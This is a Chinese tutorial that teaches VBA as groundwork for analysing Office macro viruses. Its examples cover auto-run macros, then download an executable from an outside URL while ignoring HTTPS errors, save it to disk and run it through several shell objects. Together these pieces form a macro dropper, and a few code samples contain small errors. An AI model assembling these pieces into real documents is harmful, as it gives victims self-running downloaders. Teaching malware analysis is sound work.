腳本病毒分析掃描專題1-VBA代碼閱讀掃盲、宏病毒分析

1、Office Macor

MS office宏的編程語言是Visual Basic For Applications(VBA)。

微軟在1994年發行的Excel5.0版本中，即具備了VBA的宏功能。開發目的是為了在其桌面應用程序中執行通用的自動化任務，用於擴展Windows的應用程序功能。在分析帶有宏病毒的樣本前，我們需要對VBA有所了解。才能更順暢地了解病毒發展中的手段和變化。

2、VBA代碼閱讀掃盲

(1) 環境介紹

• 打開Excel的開發者工具

當用戶希望使用宏功能時，可在“開發工具”選項卡下選擇相應命令。在默認情況下，功能區中不顯示“開發工具”選項卡，需要用戶進行自行設置。

圖1

• 保存帶宏測試文件

微軟為了使用MSOffice用戶免遭病毒和危險宏代碼的危害，規定不能將宏代碼保存在使用標准文件擴展名的標准 Office 文檔中。

必須將代碼保存在特殊擴展名的文件中。例如不能將宏保存在擴展名為 .docx 的標准 Word 文檔中；而是必須使用擴展名為 .docm 且啟用了宏的特殊 Word 文檔。而Excel則是另存為.xlsm格式。

(2) 宏腳本運行入口點

讓Excel工作簿中宏自動運行的兩種方法。

方法1：

1、啟動Excel並打開包含宏的工作表，在“開發工具”選項卡的“代碼”組中單擊“宏”按鈕打開“宏”對話框。

圖2

創建宏名為"Auto_Open"可以實現自動打開的功能。

圖3

點擊“Visual Basic”按鈕就可以編輯對應的宏代碼。

會彈出"Hello World”框的示例代碼：

方法1：測試代碼

01-Auto_Open()_啟用宏.xlsm

//自啟動函數1
Sub Auto_Open()

MsgBox ("Hello World")

End Sub

方法2：

點擊Visual Basic按鈕，點擊在工程窗口里的ThisWorkbook。選擇workbook（對象）

圖4

保存該文檔為".xlsm"，當再次打開該文檔時，宏將自動運行。

在分析病毒的時候，發現Workbook_Open()，Workbook_Activate()都會觸發宏的運行。

方法2：測試代碼

02-Workbook_Open()_啟用宏.xlsm

Private Sub Workbook_Open()

MsgBox ("Hello World ! z")

End Sub

小結：

Auto_Open過程是一個特殊的自定義Sub過程，其包含的代碼可以在工作簿打開時自動執行，宏過程寫入其中當然也將被自動調用執行。Worksheet對象的Activate事件是在工作表被激活時觸發，在該事件代碼中調用宏過程將使工作表被激活時宏被啟用。

(3) 代碼調試

通過錄制宏的操作，得到如何對表格賦值的方法。

A1是所選擇的表格與列,ActiveCell.FormulaR1C1是進行賦值。

Range("A1").Select '表格選擇
ActiveCell.FormulaR1C1 = "1" '賦值

在開啟之前首先要開啟編譯器的窗口。

• 立即窗口：執行單行的語句或顯示Debug.Pring所打印的表達式的值。

• 本地窗口：顯示當前運行的過程中所包含的變量的值。

• 監視窗口：顯示被監視的指定表達式的值。

圖5

(4) 變量

聲明 變量時，通常使用 Dim 語句。可以在過程中添加聲明語句以創建 過程級別變量，也可以將其放置在 模塊頂部的聲明部分，以創建 模塊級別變量。

下面的示例創建變量並指定 字符串數據類型。

strName 是變量的名稱，type是變量的類型

Dim strName As 【type】

數據類型分類及表示形式：

(1) 數值型

Byte 、Integer 、Long 、Single 、Double

(2) 字符型

String （可變長度字符串）、String *** length （固定長度字符串）

(3) 日期型

Date

(4) 邏輯型

Boolean

(5) 對象型

Object 或 Variant 。如果未指定數據類型，則默認分配 Variant 數據類型。還可以使用 Type 語句創建 用戶定義的類型。

聲明的表示形式如下：

Dim sPara As sType
Dim para1, para2, para3
Dim para4 As workbook, para5 As String

用Dim語句創建變量(聲明變量) 示例：

Sub 變量定義()
'
' 變量定義 宏
'
    '變量定義
    Dim strA As String

    '變量賦值
    
    strA = "Hello World"
    
    Debug.Print strA
    
End Sub

VBA常用的數據類型定義里參數type是可省略的。對於VBA熟悉的開發者會省略AS采用變量標識符來聲明變量類型，遇到這樣的代碼很容易使分析人員產生疑惑。

圖6

類型標識符示例代碼：

Sub 類型標識符()

    '類型標識符
        
    Dim strC$
    
    strC = "WS發育法"
    
    Debug.Print strC

End Sub
    

全局變量

在VBA中，通過Public關鍵字語句定義全局變量，供多個程序調用。

'聲明全局變量
Public strA As String

Sub 過程1()
    ' 變量聲明
    Dim strB As String
    ' 變量賦值
    strA = "Hello"
    strB = "World!"
End Sub

Sub 過程2()
    ' 輸出變量
    Debug.Print "StrA為" & strA
    Debug.Print "StrB為" & strB
End Sub

Sub 過程()
    ' 調用函數
    Call 過程1
    Call 過程2
End Sub

輸出結果：

StrA為Hello
StrB為

模塊級變量

還有一種特殊的模塊級變量，定義在所有的過程之外，也以Dim進行變量聲明。這類變量的作用域是其所在的模塊，在這個模塊內的任何過程均可調用該變量，但是其他模塊不可以調用它。

通過調用兩個模塊的代碼進行驗證過程如下：

模塊：模塊級變量03_01代碼：

'聲明局部變量
Dim strC As String

Sub 過程3()
    '變量賦值
    strC = "Hello"
End Sub


Sub 過程4()
    '變量賦值
    Debug.Print "StrC為" & strC
End Sub

插入->模塊，再輸入以下代碼：

查看模塊間函數調用，變量的變化。

模塊：模塊級變量03_02

Sub 過程5()
    '變量賦值
    Debug.Print "StrC為" & strC
End Sub

Sub 過程6()
    Call 過程3
    Call 過程4
    Call 過程5
End Sub

輸出結果：

StrC為Hello
StrC為

作用域的理解至關重要，簡單區分作用域的方法只需要判定變量聲明是在哪里，如果在過程內，則作用域為該過程，如果在過程外，以Public聲明的變量為全局變量，以Dim或Private聲明的變量為模塊級變量。

(5) 運算符

VBA除了常規的四則運算外，還能夠進行文本連接，比較運算。

其中為了生成的數據更明朗，就用了回車換行。

'chr(10) 可以生成換行符
'chr(13) 可以生成回車符

Sub VBA常用運算()

    '文本連接 F5運行
    Debug.Print """Excel"" & ""WS"" = "; "Excel" & "Virus" & Chr(13) & Chr(10)

    '算數四則運算
    Debug.Print " 1 + 2 * 3 - 4 / 2 = "; 1 + 2 * 3 - 4 / 2 & Chr(13) & Chr(10)
    
    '整除
    Debug.Print "13 \ 5 = "; 13 \ 5 & Chr(13) & Chr(10)
    
    '計算余數
    Debug.Print "13 Mod 5 = "; 13 Mod 5 & Chr(13) & Chr(10)
    
    '比較運算
    Debug.Print "13 > 5 = "; 13 > 5 & Chr(13) & Chr(10)
    Debug.Print "13 < 5 = "; 13 < 5 & Chr(13) & Chr(10)
    Debug.Print "13 <> 5 = "; 13 <> 5 & Chr(13) & Chr(10)
    
End Sub

文本連接

在VBA中，允許將多個文本通過文本連接符(&)進行連接並組合成新的本文，其基本語法為

EXP1&EXP2&EXP3

加號(+)同樣可以用於文本的連接，其運算語法與文本連接符(&)一致，而加號同樣可以用作算數運算。

算數四則運算

算數四則運算符包括加(+)、減(-)、乘(*)、除(/)。

(6) 邏輯運算符

在IF判斷中遇到多條件的判斷，判斷是否同時滿足兩個條件的情形，會用到邏輯運算符。常見的為And、Or、Not

表達式 邏輯運算符 表達式

(7) IF分支選擇結構

典型的分支結構，最常用的就是IF...Then...Else結構，語法為：

If 表達式

Then
   聲明
Else
   聲明

或者

If 表達式 Then
 聲明
ElseIf 表達式 Then
  聲明
Else
   聲明
End If

表達式是邏輯判斷表達式，可以是比較，也可以是由邏輯運算符連接的表達式。

單一型IF分支結構代碼如下：

Sub IF分支1()
     '變量聲明
    Dim NumA As Long  '密碼值
    Dim NumB As Long  '數值2

    NumA = 5
    NumB = 6
    
    If NumA > NumB Then
        Debug.Print "NumA " & NumA
    End If
    
End Sub

復雜型If分支結構如下：

Sub IF分支2()
    '變量聲明
    Dim passwd As Long  '密碼值
    Dim input_Code As Long  '數值2
    
    passwd = 123456
    
    
    '兩數相加
    'Range("A2").Select
    'ActiveCell.FormulaR1C1 = "1"
    input_Code = Range("A2")
    If input_Code < passwd Then
         Range("A6").Select                   '選擇表格A6
         ActiveCell.FormulaR1C1 = "結果小了"  '賦值
    ElseIf input_Code > passwd Then
        Range("A6").Select
         ActiveCell.FormulaR1C1 = "結果大了"
    ElseIf input_Code = passwd Then
        Range("A6").Select
         ActiveCell.FormulaR1C1 = "結果正確"
    End If
    ' 結果輸出
    Debug.Print "正確數字為 " & passwd
End Sub

如果滿足條件時所需要執行的語句。

圖7

(8) Select...Case分支選擇結構

Select...Case是VBA中分支結構，當對同一個表達式的值進行多次不同的判斷，並根據判斷需要進行不同的程序操作時候用到。
語法結構：

Select Case 表達式
Case 表達式

Case 表達式

End Select

不同Case中的表達是表達式的測試值。

示例代碼:

Sub Select_Case()
    '變量聲明
    Dim NumA As Integer
    NumA = 100
    
    Select Case NumA
        Case 90 To 100
            Debug.Print "優秀"
        Case 70 To 90
            Debug.Print "良"
        Case 60 To 70
            Debug.Print "及格"
        Case Else
            Debug.Print "不及格"
    End Select
 
End Sub

輸出結果：

優秀

在許多情況下，Select和If分支結構可以互相轉換，但兩者也有比較大的區別，Select分支結構只能對同一個表達式的值進行分支判斷，而If卻不受該限制。

(9) 循環結構

Do...Loop循環

Do While 表達式
   聲明
Loop

使用Do..Loop循環判斷質數示例：

Sub DoWhile循環()
    '變量聲明
    Dim Num As Long
    Dim i As Long
    '變量賦值
    Num = 13
    i = 2
    '計算及結果輸出
    Do While Num Mod i <> 0   '被2整除不是質數
        i = i + 1
        If i >= 10 Then        ' 如果大於10，退出循環演示
            Exit Do '終止循環'
        End If
    Loop
    If i = Num Then
        Debug.Print Num; "是質數"
    Else
        Debug.Print Num; "不是質數"
    End If
        
    
End Sub

輸出結果：

 13 不是質數

For...Next循環

對於已知起始值和終止值的循環語句，往往用For...Next結構實現，其語法為：

For 計數器 = 起始值 To 終止值 Step 遞增值
   處理
Mext

使用For...Next循環判斷質數示例：

Sub For_Next循環()
    '變量聲明
    Dim Num As Long
    Dim i As Long
    '變量賦值
    Num = 13
   '計算
   For i = 2 To Num - 1 Step 1
      If Num Mod i = 0 Then
        If i >= 10 Then        ' 如果大於10，退出循環
              Exit For  '退出循環的方式
        End If
      End If
   Next i
   '結果輸出
   If i = Num Then
        Debug.Print Num; "是質數"
    Else
        Debug.Print Num; "不是質數"
    End If
   
End Sub

輸出結果：

 13 是質數

在For...Next循環中，需要一個計數器，並為其設置初始值，以及終止值和步長。進入循環后，計數器等於初始值，當執行完Next語句后，計數器將會加上步長(即計數器=計數器+步長)，然后再次進入For語句。VBA將判斷計數器是否仍然出於初始值和終止值之間。如果仍在它們之間則繼續循環，直到計數器的值超出初始值和終止值所包含的范圍。

與退出Do..Loop循環類似，可以利用Exit For循環語句退出當前的For循環。

For_Each_In循環

VBA也有類似Python中遍歷數值的循環方法。

For Each...Next循環可以用來訪問某個集合中所有的元素，其語法格式為

For Each 元素 In 組
   處理
   [Exit For]
Next 元素

元素為變量，組表示某個集合。組可以表示的集合可以是單元格區域、工作表集合、工作簿集合、數組集合等。

Sub For_each_in循環()

Sheets("Sheet1").Select

Dim r As Range
For Each r In Range("A1:A10")
   Debug.Print r.Value;

   If r.Value = 1 Then  '如果值為1就修改為 666666
   r.Value = 666666
   End If
Next

End Sub

輸出結果：

圖8

(10) 數組表達

數組表示一組數據的集合，在VBA中，允許將多個類型相同或者不相同的數據組合成一個集合，然后用其下標訪問其每個元素。

一維數組表示方式如下：

Array(index)

該表達式表示數組中的一個元素。其中Array表示一個數組變量，Index為其下標。數組的下表可以為正數、負數或者0，但是必須為整數。

數組可以具有多個下標，該數組即為多維數組。多維數組的元素使用以下表達式表示：

Array(index1,index2[[,index3],...,index])

其中，index1至indexs表示不同維度的數組下標，在VBA中，數組的維度最多不超過60。

數組聲明

按數組元素個數是否固定可以分為固定大小的數組和動態數組。固定大小的數組的維度以及各個維度的大小是固定的。

Dim ArrayName(LB1 To UB1)

ArrayName 表示數組變量的名稱，LBn和UBn分別表示不同維度上的數組的下限和上限。不同維度上的LB及UB可以各不相同。

Ubound和Lbound函數獲取數組的上下限

Ubound和Lbound函數分別獲取已定義大小的數組在不同維度的上限和下限。

一維數組示例代碼：

Sub 數組示例00()

    Sheets("Sheet2").Select
    Dim Arr(3)
    Arr(1) = 1
    Arr(2) = 2
    Arr(3) = 3
    
    For Index = 0 To UBound(Arr)
       Debug.Print Arr(Index)
       
    Next

End Sub

輸出結果：

1
2
3

多維數組示例代碼：

Sub 數組示例01()

    Sheets("Sheet2").Select
    Dim Arr()               '聲明數組
    Arr = Range("A1").CurrentRegion.Value             '返回活動單元格所在的周圍由空行和空列組成的單元格區域

    For RowN = 2 To UBound(Arr)                       '返回指定數組維數的最大下標。
        Debug.Print "當前單元格數據：" & Arr(RowN, 1)
    Next

End Sub

輸出結果

圖9

多維數組統計項目示例代碼：

Sub 數組進行統計()
    '變量聲明
     Dim Arr()               '聲明數組
     Dim RowN As Long        '數組中的行號
     Dim TotalQTY As Long    '合計數量
     Dim TotalAmount As Long '合計金額
     Dim sType As String     '姓名
     
     '獲取報告數量
     sType = Range("F2").Value
     '合計數清0
     TotalQTY = 0
     TotalAmount = 0
     '將數據讀入數組中
     Arr = Range("A1").CurrentRegion.Value             '返回活動單元格所在的周圍由空行和空列組成的單元格區域
     '遍歷數組中的每條記錄，第1個維度
     For RowN = 2 To UBound(Arr)                       '返回指定數組維數的最大下標。
        '若規格型號相符
        If Arr(RowN, 1) = sType Then
           '累加數量和金額
           TotalQTY = TotalQTY + Arr(RowN, 2)          '報告數量
           TotalAmount = TotalAmount + Arr(RowN, 3)    '項目金額
        End If
    Next
    '結果輸出
    Range("G2").Value = TotalQTY
    Range("H2").Value = TotalAmount
    
End Sub

輸出結果

圖10

(11) 字符串操作

常用函數說明

Hex與Hex2Dec函數

利用Hex函數可以將十進制數轉換為十六進制數，Hex2Dec函數可以將十六進制數轉換為十進制數。

Hex(number) 其中參數number為十進制數
HEX2DEC(參數) 十六進制轉換為十進制

通過這樣的內置函數可以把某些字符轉換為進制編碼，然后在內部執行時再轉換回來。

示例代碼：

Sub 轉換進制_1()
   Sheets("Sheet3").Select                           '指定表
    ' 變量聲明
    Dim RowN As Long
    '開始循環遍歷
    For RowN = 2 To Cells(Rows.Count, "A").End(xlUp).Row   '選定包含單元格A區域中A列頂端的單元格，此部分從第2列開始。
        
        '使用VBA函數轉換為十六進制數
        Cells(RowN, "B").Value = "'" & CStr(Hex(Cells(RowN, "A").Value)) '選定包含單元格B區域中B列頂端的單元格。
        
        '使用工作表函數轉換為十進制
        Cells(RowN, "C").Value = _
            WorksheetFunction.Hex2Dec(Cells(RowN, "B").Value)                '選定包含單元格B區域中B列頂端的單元格。
    Next RowN
    
    
End Sub

輸出結果：

圖11

在早些時候，很多利用ACCESS或是SQL Server數據庫的SQL注入手段通過內置的函數將原有的詞義分割繞過WAF，與在Offcice系列中的宏病毒手法異曲同工。

示例代碼：

字符轉十六進制，十六進制轉字符

Sub 轉換進制2_原型()
    Sheets("Sheet4").Select                           '指定表

    ' 變量聲明
    Dim RowA$, RowB$, str$
    Dim strA$, strB$
    '開始循環遍歷
    str = "MZ"
    RowA = Hex(AscW(Left(str, 1)))  '選取最左邊第一個字符
    RowB = Hex(AscW(Right(str, 1))) '選取最右邊第一個字符
    
    Debug.Print RowA + RowB

    
    '開始循環遍歷
    strA = Chr(WorksheetFunction.Hex2Dec(RowA)) '十六進制轉換為十進制，十進制轉字符
    strB = Chr(WorksheetFunction.Hex2Dec(RowB)) '十六進制轉換為十進制，十進制轉字符
     
    Debug.Print "I am PE First Two char: "; strA + strB
  
    '有條件性進行演示一句話木馬免殺原理。
  
End Sub

輸出成果：

4D5A
I am PE First Two char: MZ

文本函數

VBA處理文本的函數和語句，其中包括Instr函數、Replace函數、Left函數、Right函數、MID函數。

• Instr函數

InStr(開始位置,字符串1，字符串2,[模式選擇:二進制比較,文本比較])

參數開始位置，表示查找的起始未知，該參數可以省略
參數字符串1，表示被搜索的文本(字符串)，即在哪里查找
參數字符串2，表示需要查找的
可選參數為字符串的比較方式，當參數省略時候，就用Option Conpare語句指定的比較方式。

篩選包含字符的記錄示例代碼：

Sub 篩選包含某字符的記錄()
    '變量聲明
    Dim RowN As Long
    Sheets("Sheet2").Select '選擇第二張表
    ' 顯示所有記錄
    Cells.Rows.Hidden = False
    '循環遍歷每一行
    For RowN = 2 To Cells(Rows.Count, "A").End(xlUp).Row
        '判斷是否含有“上海”
        If InStr(1, Cells(RowN, "B").Value, "上海") = 0 Then
            '若不含有，則隱藏
            Rows(RowN).Hidden = True
        End If
    Next
End Sub

輸出成果：

圖12

Instr函數在字符串中查找字符的順序是從左到右，還有個與它類似的函數InstrRev函數方向順序是以右到左。

Replace函數

替換文本中的指定文本

示例代碼：

Sub Replace函數()

Dim txt, strA

txt = "Hello World !"
Debug.Print txt                                           '輸出原有的結果


strA = Replace(txt, "World", "World ! Your Are Hacker!")  '將World替換為World ! Your Are Hacker!
Debug.Print strA


End Sub

輸出結果

Hello World !
Hello World ! Your Are Hacker! !

Split函數

Split函數可以將一個文本以特定的分隔符號拆分為一個以0為下限的一維數組，並返回該數組。

Split(表達式,拆分符號)

參數表達式的位置為一個文本表達式，表示需要被拆分的文本。

參數拆分符號的位置表示作為分隔符文本表達式。

示例代碼：

Sub 文本函數_Split函數_04()

    Sheets("Sheet1").Select
    Dim Arr()                                         '聲明數組
    Dim str                                         '存放字符串的位置
    Dim i As Integer
    Arr = Range("B1").CurrentRegion.Value             '返回活動單元格所在的周圍由空行和空列組成的單元格區域

    
    For RowN = 2 To UBound(Arr)                       '返回指定數組維數的最大下標。
        
        
        Debug.Print "當前單元格數據：" & Arr(RowN, 2)
        
        
        str = Split(Arr(RowN, 2), "，")               '分割函數，以，為分割符號
        
        
        Range("A13:A50").ClearContents               '清空整列內容
        For i = 0 To UBound(str)
            'Debug.Print str(i)
            '分隔出來的IP批量輸出
            Cells(13 + i, 1).Select
            Cells(13 + i, 1).Value = str(i)
        Next
        
        
    Next

End Sub

輸出成果：

圖13

(12) 文件讀寫

文件遍歷

• Dir函數

Dir函數用以查找指定路徑的文件是否存在，若存在，則返回該文件的文件名，若不存在，則返回空字符(“”)。

Sub 創建文件清單()
    Sheets("Sheet1").Select
     Sheet1.Range("A4:A200").ClearContents
     
    '變量聲明
    Dim sPath As String      ' 文件路徑
    Dim sFileName As String  ' 文件名
    Dim LRowN As Long        ' 結果輸出的行號
    
    ' 獲取文件路徑，並加入路徑分隔符
    'sPath = Cells(2, 1).Value & Application.PathSeparator   '獲取自定義文件路徑 & 添加一個\
    
    ' 返回當前工作簿的路徑
    ' sPath = ThisWorkbook.Path & Application.PathSeparator
    

    ' 返回當前默認文件路徑:
    ' sPath = Application.DefaultFilePath
    
'
'    '只返回路徑
    sPath = Application.ActiveWorkbook.Path & Application.PathSeparator
'
'    '返回路徑及工作簿文件名
'    sPath = Application.ActiveWorkbook.FullName
'
'    '工作簿文件名
'    sPath = Application.ActiveWorkbook.Name&

    
    ' 設定起始行號為4
    LRowN = 4
    '查找文件
    sFileName = Dir(sPath & "*", vbDirectory)
    '當文件被找到時，不斷循環
    Do While sFileName <> ""
    '輸出文件名
    Cells(LRowN, 1).Value = sFileName
    '查找下一個
    sFileName = Dir
    ' 結果輸出行號增加1
    LRowN = LRowN + 1
    Loop
    

End Sub

輸出結果：

文件屬性

• GetAtt函數

GetAttr(pathname)

其中參數pathname為文件或文件夾的完整路徑，返回值為文件的屬性，具體如下表：

• SetAttr函數

SetAttr pathname,attributes

其中參數pathname為文件的完整路徑。參數attrbutes表示修改后的文件屬性。

示例代碼：

Sub 文件屬性02()


    ' 獲取文件屬性
   StrAttr = GetAttr("C:\Users\AT\Desktop\課程附件\01-Auto_Open()_啟用宏.xlsm")
   
   If StrAttr = 0 Then
      Debug.Print "無屬性文件"
   ElseIf StrAttr = 16 Then
      Debug.Print "文件夾"
   ElseIf StrAttr = 2 Then
      Debug.Print "隱藏文件"
   End If

   
    ' 設置文件屬性
    SetAttr "C:\Users\AT\Desktop\課程附件\01-Auto_Open()_啟用宏.xlsm", vbHidden
    

End Sub

• FileCopy函數

FileCopy語句可以復制文件並重新命名，其語法為：

FileCopy source,destnation

其中，參數source為源文件的完整路徑，包括文件路徑和文件名。
參數destination為目標文件的完整路徑，包括文件路徑和文件名。

示例代碼：

Sub 操作文件_復制文件03()
    '容錯代碼
    On Error Resume Next


    '變量聲明
    Dim sPathOld As String  ' 源文件夾路徑
    Dim sPathNew As String  ' 目標文件夾名字
   
    Dim sFileNameOld As String '舊文件名
    Dim sFileNameNew As String '新文件名
    
    '獲取源文件夾路徑
    sPathOld = ThisWorkbook.Path & "\"
    
    sPathNew = ThisWorkbook.Path & "\FileCopy_test\"
    
    
    '獲取目標文件夾路徑下有沒有test目錄
    If Dir(sPathNew, 16) = Empty Then
        '如果沒有就創建文件夾
        VBA.MkDir (sPathNew)
    End If
    
    '查找源文件夾中的文件
    sFileNameOld = Dir(sPathOld & "*")
    '當查找結果存在時不斷循環
    Do While sFileNameOld <> ""
       '設定新文件名
        sFileNameNew = sFileNameOld & ".Bak"
        ' 復制文件名並改名
        FileCopy sPathOld & sFileNameOld, sPathNew & sFileNameNew
       
        '查找下一個文件
       sFileNameOld = Dir
    Loop

End Sub

輸出結果：

圖14

3、常用對象

VBS本身是無法執行命令的，只有通過創建對象的方式調用組件才可以執行命令。

• CreateObject 函數

創建並返回對ActiveX 對象的引用。

語法如下：

CreateObject (類、 [服務器名稱]）

Dim ExcelSheet As Object
Set ExcelSheet = CreateObject("Object")

CreateObject函數創建的是COM對象，第一個參數是COM對象的ProgID。

查看示例程序【13-CreatObject().xlsm】-01，可以遍歷出在操作系統中我們可以使用的對象。

常用的對象如下：

ADODB.Stream
Msxml2.XMLHTTP
Shell.Application
Scripting.FileSystemObject

WScript.Shell
InternetExplorer.Application

(1) ADODB.Stream 對象

常用方法

• • Mode

打開模式

屬性 為打開模式 1.只讀 2.只寫 3.讀寫 

• • Type

Type 指定或返回的數據類型，可選參數為：

     adTypeBinary = 1 二進制形式打開
     adTypeText = 2  文本形式打開

• • Open

打開對象

參數說明：Sourece 對象源，可不指定參數

Object.Open(Source,[Mode],[Options],[UserName],[Password])

• • Write

說明：將指定的數據裝入對象中。

Object.Write(Buffer)

• • WriteText

說明：將指定的文本數據裝入對像中。
參數說明：Data 為指定的要寫入的內容。
使用方法如下：

Object.Write(Data,[Options])

• • SaveToFile

說明：將對像的內容寫到FileName指定的文件中
參數說明：FileName指定的文件

Object.SaveToFile(FileName,[Options]) 

Options 存取的選項，可不指定，可選參數如下：

adSaveCreateNotExist =1

adSaveCreateOverWrite =2

示例代碼：

ADODB_Stream對象02

Sub ADODB_Stream對象()

    'adTypeBinary = 1 二進制形式打開
    'adTypeText = 2  文本形式打開
     
     Const adTypeBinary = 2

     '屬性 為打開模式 1.只讀 2.只寫 3.讀寫
    
     Const adSaveCreateOverwrite = 2

     Const adModeReadWrite = 3

     contents = "I am Nobaddy"                 ' 保存的文本

     Set oStr = CreateObject("ADODB.Stream")   ' 創建對象

     oStr.Mode = adModeReadWrite               ' 指定打開模式

     oStr.Type = adTypeBinary                  ' 打開類型

     oStr.Open                                 ' 打開文件

     oStr.WriteText contents                   ' 保存文件的方式  WriteText 或者 Write

     oStr.SaveToFile ThisWorkbook.Path & "\ADODB_Stream_Test.txt", adSaveCreateOverwrite


End Sub

(2) Msxml2.XMLHTTP 對象

XMLHTTP是個傳送XML格式數據的超文本傳輸協議。

它上傳的指令可以是XML格式數據，也可以是字符串，流，或者一個無符號整數數組。還可以是URL的參數。

• • Open

以什么方式打開網頁

open(bstrMethod, bstrUrl, varAsync, bstrUser, bstrPassword)

bstrMethod： 數據傳送方式，即GET或POST。用"POST"方式發送數據,可以大到4MB，也可以換為"GET"，只能256KB。

bstrUrl： 服務網頁的URL。 

varAsync： 是否同步執行。缺省為True，即同步執行，但只能在DOM中實施同步執行。用中一般將其置為False，即異步執行。 

bstrUser： 用戶名，可省略。 

bstrPassword：用戶口令，可省略。 

• • Send

varBody：指令集。可以是XML格式數據，也可以是字符串，流，或者一個無符號整數數組。也可以省略，讓指令通過Open方法的URL參數代入。發送數據的方式分為同步和異步兩種。在異步方式下，數據包一旦發送完畢，就結束Send進程，客戶機執行的操作；而在同步方式下，客戶機要等到服務器返回確認消息后才結束Send進程。

• • 返回內容

readyState

XMLHTTP對象中的readyState屬性能夠反映出服務器在處理請求時的進展狀況。客戶機的程序可以根據這個狀態信息設置相應的事件處理方法。屬性值及其含義如下表所示：
值 說明
0 Response對象已經創建，但XML文檔上載過程尚未結束
1 XML文檔已經裝載完畢
2 XML文檔已經裝載完畢，正在處理中
3 部分XML文檔已經解析
4 文檔已經解析完畢，客戶端可以接受返回消息

responseBody

Variant型 結果返回為無符號整數數組

responseStream

Variant型 結果返回為IStream流

responseText

string型 結果返回為字符串。

responseXML

object型 結果返回為XML格式數據。

Msxml2.XMLHTTP 和 Microsoft.XMLHTTP 都好用，當遇到HTTPS的情況需要特殊處理。

從HTTPS網站下載EXE方法如下：

方法1：添加一個http.SetOption 2,13056 忽略https錯誤，注意寫入權限
方法2：使用WinHttp.WinHttpRequest.5.1對象
方法3：使用Msxml2.ServerXMLHTTP.6.0

示例代碼：

模塊：XMLHTTP對象03

Sub XMLHTTP對象03_01()

    myURL = "file://C:\Windows\System32\calc.exe"
    Set Post = CreateObject("Microsoft.XMLHTTP")  '建立XMLHTTP對象
    Post.Open "GET", myURL, 0                     '打開方法
    Post.Send                                     '發送
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open
    aGet.Write (Post.responseBody)                '把獲取到的內容保存到本地
    aGet.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
    


End Sub


Sub XMLHTTP對象03_02()
    myURL = "file://C:\Windows\System32\calc.exe"
    
    Set Post = CreateObject("Msxml2.XMLHTTP")
    Post.Open "GET", myURL, 0
    Post.Send

    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open
    aGet.Write (Post.responseBody)
    aGet.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2

End Sub


'下載https的方法1

'加一個http.SetOption 2,13056 忽略https錯誤，注意寫入權限
Sub XMLHTTP對象03_03()

    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim http, ado
    Set http = CreateObject("Msxml2.serverXMLHTTP")
    http.SetOption 2, 13056                                      '忽略HTTPS的錯誤
    http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
    http.Send
    Set ado = CreateObject("Adodb.Stream")
    ado.Type = adTypeBinary
    ado.Open
    ado.Write http.responseBody
    ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
    ado.Close

End Sub

'下載https的方法2
'使用WinHttp.WinHttpRequest.5.1
Sub XMLHTTP對象03_04()

    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim http, ado
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1") '調用WinHttp.WinHttpRequest.5.1                        '

    http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
    http.Send
    Set ado = CreateObject("Adodb.Stream")
    ado.Type = adTypeBinary
    ado.Open
    ado.Write http.responseBody
    ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
    ado.Close

End Sub


'下載https的方法3
'使用Msxml2.ServerXMLHTTP.6.0

Sub XMLHTTP對象03_05()

    Const adTypeBinary = 1
    Const adSaveCreateOverWrite = 2
    Dim http, ado
    Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")  '調用Msxml2.ServerXMLHTTP.6.0                  '

    http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
    http.Send
    Set ado = CreateObject("Adodb.Stream")
    ado.Type = adTypeBinary
    ado.Open
    ado.Write http.responseBody
    ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
    ado.Close

End Sub

(3) 執行命令對象與函數

• • Shell函數

執行一個程序。

參數說明：

• vbHide 0 :隱藏窗口並將焦點傳遞給隱藏的窗口

Shell "程序路徑",0

Shell ThisWorkbook.Path & "\XMLHTTP_calc.exe", 0  ' Shell函數

• • Shell.Application對象

參數說明：

• NameSpace() 返回指定文件夾的Folder類目標
• Items() 返回FolderItems目標
• Item() 獲取FolderItems目標的某個值的索引
• InvokeVerb 打開目標（運行程序）
• Open 打開程序
• Verbs 得到FolderItemVerbs類目標
• FileRun 運行程序

示例代碼：

Sub shell_application對象04()

Set objShellApp = CreateObject("Shell.Application")
Set objFolder = objShellApp.Namespace(ThisWorkbook.Path & "\")
objFolder.Items().Item("XMLHTTP_calc.exe").invokeverb              '方法1
objFolder.Items().Item("XMLHTTP_calc.exe").InvokeVerbEx            '方法2
objShellApp.Open (ThisWorkbook.Path & "\XMLHTTP_calc.exe")         '方法3
objShellApp.ShellExecute "XMLHTTP_calc.exe", "", ThisWorkbook.Path & "\", "", "1" '方法4,可以加參數和設置參數值


Set objFolderItem = objShellApp.Namespace(ThisWorkbook.Path & "\").Items().Item("XMLHTTP_calc.exe")  '方法5
Set objFIVs = objFolderItem.Verbs()
For i = 0 To objFIVs.Count - 1
    'MsgBox objFIVs.Item(i)
    Set objFIV = objFIVs.Item(i)
    If objFIV.Name = "打開(&O)" Then '右鍵菜單中在中文系統是"打開(&O)"，英文自己改
        objFIV.DoIt                      '執行程序
        Exit For
    End If
Next

objShellApp.FileRun ThisWorkbook.Path & "\XMLHTTP_calc.exe"  '方法6

End Sub

• • Wscript.Shell對象

參數說明：

• Run 運行應用程序

示例代碼：

Sub Wscript_Shell對象01()

Set objShell = CreateObject("Wscript.Shell")

objShell.Run ThisWorkbook.Path & "\XMLHTTP_calc.exe"


Set objShell_1 = CreateObject("Wscript.Shell.1")

objShell_1.Run ThisWorkbook.Path & "\XMLHTTP_calc.exe"

End Sub

4、案例：宏病毒分析

目前遇到的純用宏感染的病毒家族APMP(感染性)、lokcy(勒索者)、ATP(釣魚郵件)。

(1) 調試環境

• 操作系統：Windows 7
• 監控與調試工具：WireShark、火絨劍、文檔自帶宏編譯器
